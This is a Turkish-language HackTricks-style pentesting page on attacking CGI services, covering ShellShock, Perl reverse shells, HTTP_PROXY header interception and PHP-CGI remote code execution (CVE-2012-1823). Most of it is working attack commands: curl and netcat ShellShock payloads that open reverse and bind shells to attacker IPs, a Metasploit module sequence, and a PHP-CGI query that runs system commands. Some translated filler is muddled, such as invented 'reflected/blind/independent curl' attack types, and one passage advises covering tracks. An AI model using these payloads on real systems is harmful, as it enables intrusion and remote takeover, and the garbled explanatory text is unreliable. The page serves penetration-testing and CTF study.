CGI

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Bilgi

CGI betikleri perl betikleridir, bu yüzden, .cgi betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, bir perl ters kabuk yükleyebilirsiniz (/usr/share/webshells/perl/perl-reverse-shell.pl), uzantıyı .pl'den .cgi'ye değiştirin, çalıştırma izinleri verin (chmod +x) ve web tarayıcısından ters kabuğa erişin ve çalıştırın. CGI zafiyetlerini test etmek için nikto -C all (ve tüm eklentileri) kullanmanız önerilir.

ShellShock

ShellShock, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan Bash komut satırı kabuğunu etkileyen bir zafiyettir. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedefler. Zafiyet, işlemlerin nasıl çalıştığını etkileyen dinamik adlı değerler olan çevre değişkenlerinin manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine zararlı kod ekleyerek, değişkeni aldıklarında bu kodun çalıştırılmasını sağlayabilir. Bu, saldırganların potansiyel olarak sistemi ele geçirmesine olanak tanır.

Bu zafiyeti sayfa hata verebilir şeklinde fark ederek bulabilirsiniz.

Bu zafiyeti eski bir Apache sürümü ve cgi_mod (cgi klasörüyle) kullanarak veya nikto kullanarak bulabilirsiniz.

Test

Çoğu test, bir şeyi ekrana yazdırıp o dizenin web yanıtında döndürülmesini beklemeye dayanır. Bir sayfanın zafiyete açık olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve bunları test edin.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (yansıtılan, kör ve bağımsız)

Curl, bir web uygulamasının güvenlik açıklarını tespit etmek için yaygın olarak kullanılan bir komut satırı aracıdır. Curl, HTTP, HTTPS, FTP, SMTP ve diğer birçok protokolü destekler. Bu nedenle, bir web uygulamasını hedef alırken Curl'ü kullanmak oldukça faydalı olabilir.

Yansıtılan Curl

Yansıtılan Curl saldırıları, kullanıcının girdilerinin doğrudan web uygulaması tarafından yanıt olarak döndürüldüğü durumlarda gerçekleştirilir. Bu saldırı türü, kullanıcının girdilerini manipüle ederek, kötü niyetli kod enjekte etmek veya hassas verileri çalmak için kullanılabilir.

Kör Curl

Kör Curl saldırıları, web uygulamasının yanıtını doğrudan göremediğimiz durumlarda gerçekleştirilir. Bu saldırı türünde, saldırgan, web uygulamasının yanıtını başka bir kanal aracılığıyla alır. Örneğin, saldırgan, bir DNS sunucusuna istek göndererek veya bir e-posta göndererek yanıtı alabilir.

Bağımsız Curl

Bağımsız Curl saldırıları, web uygulamasının yanıtını beklemek yerine, saldırganın kontrol ettiği bir sunucuya yanıtı gönderdiği durumlarda gerçekleştirilir. Bu saldırı türü, saldırganın hedef web uygulamasına zarar vermek veya hassas verileri çalmak için kullanılabilir.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Sömürü

Exploiting, bir hedef sistemdeki zayıflıkları veya güvenlik açıklarını kullanarak yetkisiz erişim elde etmek veya hedef sistemde istenmeyen bir davranış gerçekleştirmek anlamına gelir. Bu bölümde, CGI (Common Gateway Interface) hizmetlerini hedef alarak nasıl sömürü yapabileceğinizi öğreneceksiniz.

CGI Sömürüsü

CGI, web sunucusu ve harici programlar arasında iletişim sağlayan bir protokoldür. CGI hizmetlerini hedef alarak sömürü yapmak, hedef sistemdeki güvenlik açıklarını kullanarak yetkisiz erişim elde etmek veya hedef sistemde istenmeyen bir davranış gerçekleştirmek anlamına gelir.

CGI hizmetlerini sömürmek için aşağıdaki adımları izleyebilirsiniz:

  1. Hedef web uygulamasında CGI hizmetlerini belirleyin.

  2. CGI hizmetlerinin güvenlik açıklarını araştırın ve zayıf noktalarını belirleyin.

  3. Sömürü için uygun bir saldırı vektörü seçin.

  4. Sömürüyü gerçekleştirmek için gerekli araçları kullanın.

  5. Sömürü sonucunda elde edilen yetkisiz erişimi veya istenmeyen davranışı kullanarak hedef sistemde istediğiniz işlemleri gerçekleştirin.

CGI hizmetlerini sömürmek için yaygın olarak kullanılan bazı saldırı vektörleri şunlardır:

  • Command Injection (Komut Enjeksiyonu): Hedef sistemdeki komutları çalıştırmak için kullanılır.

  • File Inclusion (Dosya Dahil Etme): Hedef sistemdeki dosyalara erişmek veya çalıştırmak için kullanılır.

  • Remote Code Execution (Uzaktan Kod Yürütme): Hedef sistemdeki uzaktan kod yürütme yeteneğini kullanarak istenmeyen işlemler gerçekleştirir.

CGI hizmetlerini sömürmek için kullanılan araçlar arasında Metasploit, Nmap, Burp Suite ve ExploitDB gibi popüler araçlar bulunmaktadır.

CGI hizmetlerini sömürürken dikkate almanız gereken bazı önemli noktalar şunlardır:

  • Hedef sistemdeki CGI hizmetlerinin güncel olup olmadığını kontrol edin.

  • Sömürü yapmadan önce hedef sistemdeki güvenlik açıklarını tam olarak anlayın.

  • Sömürü yaparken iz bırakmamak için gerekli önlemleri alın.

  • Sömürü sonucunda elde edilen yetkisiz erişimi veya istenmeyen davranışı dikkatli bir şekilde kullanın ve hedef sistemde zararlı bir etki bırakmamaya özen gösterin.

CGI hizmetlerini sömürmek, hedef sistemde yetkisiz erişim elde etmek veya istenmeyen bir davranış gerçekleştirmek için etkili bir yöntem olabilir. Ancak, bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (Web sunucusu isteklerine MitM)

CGI, http isteğindeki her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.

Web sunucusu tarafından HTTP_PROXY değişkeni kullanılabileceğinden, "Proxy: <IP_saldırgan>:<PORT>" başlığını içeren bir header göndermeyi deneyin ve sunucu oturumu sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabilirsiniz.

Eski PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Temel olarak, cgi etkinse ve php "eski" ise (<5.3.12 / < 5.4.2), kodu yürütebilirsiniz. Bu zafiyeti sömürmek için, web sunucusunun bazı PHP dosyalarına parametre göndermeden (özellikle "=" karakterini göndermeden) erişmeniz gerekmektedir. Ardından, bu zafiyeti test etmek için örneğin /index.php?-s (dikkat -s) adresine erişebilir ve uygulamanın kaynak kodu yanıtta görünecektir.

Daha sonra, RCE elde etmek için bu özel sorguyu gönderebilirsiniz: /?-d allow_url_include=1 -d auto_prepend_file=php://input ve istek gövdesinde yürütülecek PHP kodunu gönderin. Örnek:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Vuln hakkında daha fazla bilgi ve olası saldırılar: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Örneği.

AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Last updated